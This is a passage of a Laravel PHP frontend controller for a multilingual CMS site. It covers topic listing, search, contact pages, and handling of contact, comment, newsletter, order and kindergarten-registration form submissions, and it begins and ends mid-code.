Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'desc')->paginate(env('FRONTEND_PAGINATION')); // Get Most Viewed $TopicsMostViewed = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->orderby('visits', 'desc')->limit(3)->get(); } // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father)) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $SideBanners = Banner::where('section_id', $WebmasterSettings->side_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Page Title, Description, Keywords if (!empty($CurrentCategory) ) { $seo_title_var = "seo_title_" . trans('backLang.boxCode'); $seo_description_var = "seo_description_" . trans('backLang.boxCode'); $seo_keywords_var = "seo_keywords_" . trans('backLang.boxCode'); $tpc_title_var = "title_" . trans('backLang.boxCode'); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); if ($CurrentCategory->$seo_title_var != "") { $PageTitle = $CurrentCategory->$seo_title_var; } else { $PageTitle = $CurrentCategory->$tpc_title_var; } if ($CurrentCategory->$seo_description_var != "") { $PageDescription = $CurrentCategory->$seo_description_var; } else { $PageDescription = $WebsiteSettings->$site_desc_var; } if ($CurrentCategory->$seo_keywords_var != "") { $PageKeywords = $CurrentCategory->$seo_keywords_var; } else { $PageKeywords = $WebsiteSettings->$site_keywords_var; } } else { $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); $PageTitle = trans('backLang.' . $WebmasterSection->name); $PageDescription = $WebsiteSettings->$site_desc_var; $PageKeywords = $WebsiteSettings->$site_keywords_var; } // .. end of .. Page Title, Description, Keywords // Send all to the view return view("frontEnd.topics", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "LatestNews", "SideBanners", "WebmasterSection", "Categories", "Topics", "CurrentCategory", "PageTitle", "PageDescription", "PageKeywords", "TopicsMostViewed", "category_and_topics_count")); } else { return $this->SEOByLang($lang, $section); } } /** * Show the form for editing the specified resource. * * @param int $section * @param int $id * @return \Illuminate\Http\Response */ public function topicByLang($lang = "", $section = 0, $id = 0) { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); // check for pages called by name not id switch ($section) { case "about" : $id = 1; $section = 1; break; case "privacy" : $id = 3; $section = 1; break; case "terms" : $id = 4; $section = 1; break; } // get Webmaster section settings by name $WebmasterSection = WebmasterSection::where('name', $section)->first(); if (empty($WebmasterSection) ) { // get Webmaster section settings by ID $WebmasterSection = WebmasterSection::find($section); } if (!empty($WebmasterSection)) { // count topics by Category $category_and_topics_count = array(); $AllSections = Section::where('webmaster_id', '=', $WebmasterSection->id)->where('status', 1)->orderby('row_no', 'asc')->get(); if (!empty($AllSections) ) { foreach ($AllSections as $AllSection) { $category_topics = array(); $TopicCategories = TopicCategory::where('section_id', $AllSection->id)->get(); foreach ($TopicCategories as $category) { $category_topics[] = $category->topic_id; } $Topics = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('row_no', 'asc')->get(); $category_and_topics_count[$AllSection->id] = count($Topics); } } $Topic = Topic::where('status', 1)->find($id); if (!empty($Topic) && ($Topic->expire_date == '' || ($Topic->expire_date != '' && $Topic->expire_date >= date("Y-m-d")))) { // update visits $Topic->visits = $Topic->visits + 1; $Topic->save(); // Get current Category Section details $CurrentCategory = array(); $TopicCategory = TopicCategory::where('topic_id', $Topic->id)->first(); if (!empty($TopicCategory)) { $CurrentCategory = Section::find($TopicCategory->section_id); } // Get a list of all Category ( for side bar ) $Categories = Section::where('webmaster_id', '=', $WebmasterSection->id)->where('status', 1)->where('father_id', '=', '0')->orderby('row_no', 'asc')->get(); // Get Most Viewed $TopicsMostViewed = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->orderby('visits', 'desc')->limit(3)->get(); // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father) ) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $SideBanners = Banner::where('section_id', $WebmasterSettings->side_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Page Title, Description, Keywords $seo_title_var = "seo_title_" . trans('backLang.boxCode'); $seo_description_var = "seo_description_" . trans('backLang.boxCode'); $seo_keywords_var = "seo_keywords_" . trans('backLang.boxCode'); $tpc_title_var = "title_" . trans('backLang.boxCode'); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); if ($Topic->$seo_title_var != "") { $PageTitle = $Topic->$seo_title_var; } else { $PageTitle = $Topic->$tpc_title_var; } if ($Topic->$seo_description_var != "") { $PageDescription = $Topic->$seo_description_var; } else { $PageDescription = $WebsiteSettings->$site_desc_var; } if ($Topic->$seo_keywords_var != "") { $PageKeywords = $Topic->$seo_keywords_var; } else { $PageKeywords = $WebsiteSettings->$site_keywords_var; } // .. end of .. Page Title, Description, Keywords return view("frontEnd.topic", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "LatestNews", "Topic", "SideBanners", "WebmasterSection", "Categories", "CurrentCategory", "PageTitle", "PageDescription", "PageKeywords", "TopicsMostViewed", "category_and_topics_count")); } else { return redirect()->action('FrontendHomeController@HomePage'); } } else { return redirect()->action('FrontendHomeController@HomePage'); } } /** * Show the form for editing the specified resource. * * @param int $section * @param int $cat * @return \Illuminate\Http\Response */ public function topics($section = 0, $cat = 0) { $lang_dirs = array_filter(glob(App::langPath() . '/*'), 'is_dir'); // check if this like "/ar/blog" if (in_array(App::langPath() . "/$section", $lang_dirs)) { return $this->topicsByLang($section, $cat, 0); } else { //dd($section,$cat); return $this->topicsByLang("", $section, $cat); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function userTopics($id) { return $this->userTopicsByLang("", $id); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function userTopicsByLang($lang = "", $id) { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); // get User Details $User = User::find($id); if (!empty($User) ) { // count topics by Category $category_and_topics_count = array(); $AllSections = Section::where('status', 1)->orderby('row_no', 'asc')->get(); if (!empty($AllSections) ) { foreach ($AllSections as $AllSection) { $category_topics = array(); $TopicCategories = TopicCategory::where('section_id', $AllSection->id)->get(); foreach ($TopicCategories as $category) { $category_topics[] = $category->topic_id; } $Topics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('row_no', 'asc')->get(); $category_and_topics_count[$AllSection->id] = count($Topics); } } // Get current Category Section details $CurrentCategory = "none"; $WebmasterSection = "none"; // Get a list of all Category ( for side bar ) $Categories = Section::where('father_id', '=', '0')->where('status', 1)->orderby('row_no', 'asc')->get(); // Topics if NO Cat_ID $Topics = Topic::where([['created_by', $User->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['created_by', $User->id], ['status', 1], ['expire_date', null]])->orderby('row_no', 'asc')->paginate(env('FRONTEND_PAGINATION')); // Get Most Viewed $TopicsMostViewed = Topic::where([['created_by', $User->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['created_by', $User->id], ['status', 1], ['expire_date', null]])->orderby('visits', 'desc')->limit(3)->get(); // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father) ) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $SideBanners = Banner::where('section_id', $WebmasterSettings->side_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Page Title, Description, Keywords $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); $PageTitle = $User->name; $PageDescription = $WebsiteSettings->$site_desc_var; $PageKeywords = $WebsiteSettings->$site_keywords_var; // .. end of .. Page Title, Description, Keywords // Send all to the view return view("frontEnd.topics", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "LatestNews", "User", "SideBanners", "WebmasterSection", "Categories", "Topics", "CurrentCategory", "PageTitle", "PageDescription", "PageKeywords", "TopicsMostViewed", "category_and_topics_count")); } else { // If no section name/ID go back to home return redirect()->action('FrontendHomeController@HomePage'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function searchTopics(Request $request) { // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $search_word = $request->search_word; if ($search_word != "") { // count topics by Category $category_and_topics_count = array(); $AllSections = Section::where('status', 1)->orderby('row_no', 'asc')->get(); if (!empty($AllSections)) { foreach ($AllSections as $AllSection) { $category_topics = array(); $TopicCategories = TopicCategory::where('section_id', $AllSection->id)->get(); foreach ($TopicCategories as $category) { $category_topics[] = $category->topic_id; } $Topics = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orWhere([['status', 1], ['expire_date', null]])->whereIn('id', $category_topics)->orderby('row_no', 'asc')->get(); $category_and_topics_count[$AllSection->id] = count($Topics); } } // Get current Category Section details $CurrentCategory = "none"; $WebmasterSection = "none"; // Get a list of all Category ( for side bar ) $Categories = Section::where('father_id', '=', '0')->where('status', 1)->orderby('row_no', 'asc')->get(); // Topics if NO Cat_ID $Topics = Topic::where('title_ar', 'like', '%' . $search_word . '%') ->orwhere('title_he', 'like', '%' . $search_word . '%') ->orwhere('title_en', 'like', '%' . $search_word . '%') ->orwhere('seo_title_ar', 'like', '%' . $search_word . '%') ->orwhere('seo_title_he', 'like', '%' . $search_word . '%') ->orwhere('seo_title_en', 'like', '%' . $search_word . '%') ->orwhere('details_ar', 'like', '%' . $search_word . '%') ->orwhere('details_he', 'like', '%' . $search_word . '%') ->orwhere('details_en', 'like', '%' . $search_word . '%') ->orderby('id', 'desc')->paginate(env('FRONTEND_PAGINATION')); // Get Most Viewed $TopicsMostViewed = Topic::where([['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['expire_date', null]])->orderby('visits', 'desc')->limit(3)->get(); if(!empty($Topics)){ $WebmasterSection = WebmasterSection::where('id',$Topics[0]->webmaster_id )->first(); } // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father) ) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $SideBanners = Banner::where('section_id', $WebmasterSettings->side_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Page Title, Description, Keywords $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); $PageTitle = $search_word; $PageDescription = $WebsiteSettings->$site_desc_var; $PageKeywords = $WebsiteSettings->$site_keywords_var; // .. end of .. Page Title, Description, Keywords // Send all to the view return view("frontEnd.topics", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "LatestNews", "search_word", "SideBanners", "WebmasterSection", "Categories", "Topics", "CurrentCategory", "PageTitle", "PageDescription", "PageKeywords", "TopicsMostViewed", "category_and_topics_count")); } else { // If no section name/ID go back to home return redirect()->action('FrontendHomeController@HomePage'); } } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function ContactPage() { return $this->ContactPageByLang(""); } public function Contacts($lang = ""){ return $this->ContactsByLang(""); } public function ContactsByLang($lang = ""){ if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } $WebmasterSection = WebmasterSection::find(15); $WebmasterSettings = WebmasterSetting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $WebsiteSettings = Setting::find(1); $Contacts = Topic::where('status', 1)->where('webmaster_id', 15)->orderby('row_no', 'asc')->get(); $LatestNewsSilder = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(5)->get(); $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father)) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $seo_title_var = "seo_title_" . trans('backLang.boxCode'); $seo_description_var = "seo_description_" . trans('backLang.boxCode'); $seo_keywords_var = "seo_keywords_" . trans('backLang.boxCode'); $tpc_title_var = "title_" . trans('backLang.boxCode'); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); if ( $WebmasterSection->$seo_title_var != "") { $PageTitle = $WebmasterSection->$seo_title_var; } else { $PageTitle = $WebmasterSection->$tpc_title_var; } if ( $WebmasterSection->$seo_description_var != "") { $PageDescription = $WebmasterSection->$seo_description_var; } else { $PageDescription = $WebsiteSettings->$site_desc_var; } if ( $WebmasterSection->$seo_keywords_var != "") { $PageKeywords = $WebmasterSection->$seo_keywords_var; } else { $PageKeywords = $WebmasterSection->$site_keywords_var; } return view("frontEnd.contacts",compact("Contacts", "PageTitle", "WebsiteSettings", "WebmasterSection", "WebmasterSettings", "PageDescription", "PageKeywords", "LatestNewsSilder", "LatestNews", "FooterMenuLinks", "HeaderMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en")); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function ContactPageByLang($lang = "") { if ($lang != "") { // Set Language App::setLocale($lang); \Session::put('locale', $lang); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $id = $WebmasterSettings->contact_page_id; $Topic = Topic::where('status', 1)->find($id); if (!empty($Topic) && ($Topic->expire_date == '' || ($Topic->expire_date != '' && $Topic->expire_date >= date("Y-m-d")))) { // update visits $Topic->visits = $Topic->visits + 1; $Topic->save(); // get Webmaster section settings by ID $WebmasterSection = WebmasterSection::find($Topic->webmaster_id); if (!empty($WebmasterSection) ) { // Get current Category Section details $CurrentCategory = Section::find($Topic->section_id); // Get a list of all Category ( for side bar ) $Categories = Section::where('webmaster_id', '=', $WebmasterSection->id)->where('father_id', '=', '0')->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Most Viewed $TopicsMostViewed = Topic::where([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['webmaster_id', '=', $WebmasterSection->id], ['status', 1], ['expire_date', null]])->orderby('visits', 'desc')->limit(3)->get(); // General for all pages $WebsiteSettings = Setting::find(1); $HeaderMenuLinks = Menu::where('father_id', $WebmasterSettings->header_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks = Menu::where('father_id', $WebmasterSettings->footer_menu_id)->where('status', 1)->orderby('row_no', 'asc')->get(); $FooterMenuLinks_father = Menu::find($WebmasterSettings->footer_menu_id); $FooterMenuLinks_name_ar = ""; $FooterMenuLinks_name_he = ""; $FooterMenuLinks_name_en = ""; if (!empty($FooterMenuLinks_father)) { $FooterMenuLinks_name_ar = $FooterMenuLinks_father->title_ar; $FooterMenuLinks_name_he = $FooterMenuLinks_father->title_he; $FooterMenuLinks_name_en = $FooterMenuLinks_father->title_en; } $SideBanners = Banner::where('section_id', $WebmasterSettings->side_banners_section_id)->where('status', 1)->orderby('row_no', 'asc')->get(); // Get Latest News $LatestNews = Topic::where([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', '>=', date("Y-m-d")], ['expire_date', '<>', null]])->orwhere([['status', 1], ['webmaster_id', $WebmasterSettings->latest_news_section_id], ['expire_date', null]])->orderby('row_no', 'asc')->limit(3)->get(); // Page Title, Description, Keywords $seo_title_var = "seo_title_" . trans('backLang.boxCode'); $seo_description_var = "seo_description_" . trans('backLang.boxCode'); $seo_keywords_var = "seo_keywords_" . trans('backLang.boxCode'); $tpc_title_var = "title_" . trans('backLang.boxCode'); $site_desc_var = "site_desc_" . trans('backLang.boxCode'); $site_keywords_var = "site_keywords_" . trans('backLang.boxCode'); if ($Topic->$seo_title_var != "") { $PageTitle = $Topic->$seo_title_var; } else { $PageTitle = $Topic->$tpc_title_var; } if ($Topic->$seo_description_var != "") { $PageDescription = $Topic->$seo_description_var; } else { $PageDescription = $WebsiteSettings->$site_desc_var; } if ($Topic->$seo_keywords_var != "") { $PageKeywords = $Topic->$seo_keywords_var; } else { $PageKeywords = $WebsiteSettings->$site_keywords_var; } // .. end of .. Page Title, Description, Keywords return view("frontEnd.contact", compact("WebsiteSettings", "WebmasterSettings", "HeaderMenuLinks", "FooterMenuLinks", "FooterMenuLinks_name_ar", "FooterMenuLinks_name_he", "FooterMenuLinks_name_en", "LatestNews", "Topic", "SideBanners", "WebmasterSection", "Categories", "CurrentCategory", "PageTitle", "PageDescription", "PageKeywords", "TopicsMostViewed")); } else { return redirect()->action('FrontendHomeController@HomePage'); } } else { return redirect()->action('FrontendHomeController@HomePage'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function ContactPageSubmit(Request $request) { $this->validate($request, [ 'contact_name' => 'required', 'contact_email' => 'required|email', 'contact_subject' => 'required', 'contact_message' => 'required' ]); if (env('NOCAPTCHA_STATUS', false)) { $this->validate($request, [ 'g-recaptcha-response' => 'required|captcha' ]); } // SITE SETTINGS $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->title = $request->contact_subject; $Webmail->details = $request->contact_message; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->contact_email; $Webmail->from_name = $request->contact_name; $Webmail->from_phone = $request->contact_phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $site_title; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); // SEND Notification Email if ($WebsiteSettings->notify_messages_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW MESSAGE:" . $request->contact_subject, 'details' => $request->contact_message, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title) { $message->from(env('NO_REPLAY_EMAIL', $request->contact_email), $request->contact_name); $message->to($site_email); $message->replyTo($request->contact_email, $site_title); $message->subject($request->contact_subject); }); } } return "OK"; } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function subscribeSubmit(Request $request) { $this->validate($request, [ 'subscribe_name' => 'required', 'subscribe_email' => 'required|email' ]); // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $Contacts = Contact::where('email', $request->subscribe_email)->get(); if (!empty($Contacts) ) { return trans('frontLang.subscribeToOurNewsletterError'); } else { $subscribe_names = explode(' ', $request->subscribe_name, 2); $Contact = new Contact; $Contact->group_id = $WebmasterSettings->newsletter_contacts_group; $Contact->first_name = @$subscribe_names[0]; $Contact->last_name = @$subscribe_names[1]; $Contact->email = $request->subscribe_email; $Contact->status = 1; $Contact->save(); return "OK"; } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function commentSubmit(Request $request) { $this->validate($request, [ 'comment_name' => 'required', 'comment_message' => 'required', 'topic_id' => 'required', 'comment_email' => 'required|email' ]); if (env('NOCAPTCHA_STATUS', false)) { $this->validate($request, [ 'g-recaptcha-response' => 'required|captcha' ]); } // General Webmaster Settings $WebmasterSettings = WebmasterSetting::find(1); $next_nor_no = Comment::where('topic_id', '=', $request->topic_id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Comment = new Comment; $Comment->row_no = $next_nor_no; $Comment->name = $request->comment_name; $Comment->email = $request->comment_email; $Comment->comment = $request->comment_message; $Comment->topic_id = $request->topic_id;; $Comment->date = date("Y-m-d H:i:s"); $Comment->status = $WebmasterSettings->new_comments_status; $Comment->save(); // Site Details $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; // Topic details $Topic = Topic::where('status', 1)->find($request->topic_id); if (!empty($Topic) ) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; // SEND Notification Email if ($WebsiteSettings->notify_comments_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW Comment on :" . $tpc_title, 'details' => $request->comment_message, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $request->comment_email), $request->comment_name); $message->to($site_email); $message->replyTo($request->comment_email, $site_title); $message->subject("NEW Comment on :" . $tpc_title); }); } } } return "OK"; } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function orderSubmit(Request $request) { $this->validate($request, [ 'order_name' => 'required', 'order_phone' => 'required', 'order_qty' => 'required', 'topic_id' => 'required', 'order_email' => 'required|email' ]); $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Topic = Topic::where('status', 1)->find($request->topic_id); if (!empty($Topic)) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->contact_id = null; $Webmail->father_id = null; $Webmail->title = "ORDER " . ", Qty=" . $request->order_qty . ", " . $Topic->$tpc_title_var; $Webmail->details = $request->order_message; $Webmail->date = date("Y-m-d H:i:s"); $Webmail->from_email = $request->order_email; $Webmail->from_name = $request->order_name; $Webmail->from_phone = $request->order_phone; $Webmail->to_email = $WebsiteSettings->site_webmails; $Webmail->to_name = $WebsiteSettings->$site_title_var; $Webmail->status = 0; $Webmail->flag = 0; $Webmail->save(); // SEND Notification Email $msg_details = "$tpc_title
Qty = " . $request->order_qty . "
" . $request->order_message; if ($WebsiteSettings->notify_orders_status) { if (env('MAIL_USERNAME') != "") { Mail::send('backEnd.emails.webmail', [ 'title' => "NEW Order on :" . $tpc_title, 'details' => $msg_details, 'websiteURL' => $site_url, 'websiteName' => $site_title ], function ($message) use ($request, $site_email, $site_title, $tpc_title) { $message->from(env('NO_REPLAY_EMAIL', $request->order_email), $request->order_name); $message->to($site_email); $message->replyTo($request->order_email, $site_title); $message->subject("NEW Comment on :" . $tpc_title); }); } } } return "OK"; } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function kindergartenRegSubmit(Request $request) { $this->validate($request, [ 'pname' => 'required', 'id' => 'required', 'phone' => 'required', 'email' => 'required', 'address' => 'required', 'email' => 'required|email', 'cname' => 'required', 'birthday' => 'required', 'sex' => 'required', 'year' => 'required', 'hood' => 'required', 'Gname' => 'required', ]); $WebsiteSettings = Setting::find(1); $site_title_var = "site_title_" . trans('backLang.boxCode'); $site_email = $WebsiteSettings->site_webmails; $site_url = $WebsiteSettings->site_url; $site_title = $WebsiteSettings->$site_title_var; $Topic = Topic::where('status', 1)->find($request->topic_id); if (!empty($Topic) ) { $tpc_title_var = "title_" . trans('backLang.boxCode'); $tpc_title = $WebsiteSettings->$tpc_title_var; $Webmail = new Webmail; $Webmail->cat_id = 0; $Webmail->group_id = null; $Webmail->contact_id = null; $Webmail->father_id = null; $Webmail->title = $Topic->$tpc_title_var . ", id=" . $request->id ; $Webmail->details = trans('backLang.parentsInfo')."\n". trans('backLang.pname').":".$request->pname."\n". trans('backLang.identification').":". 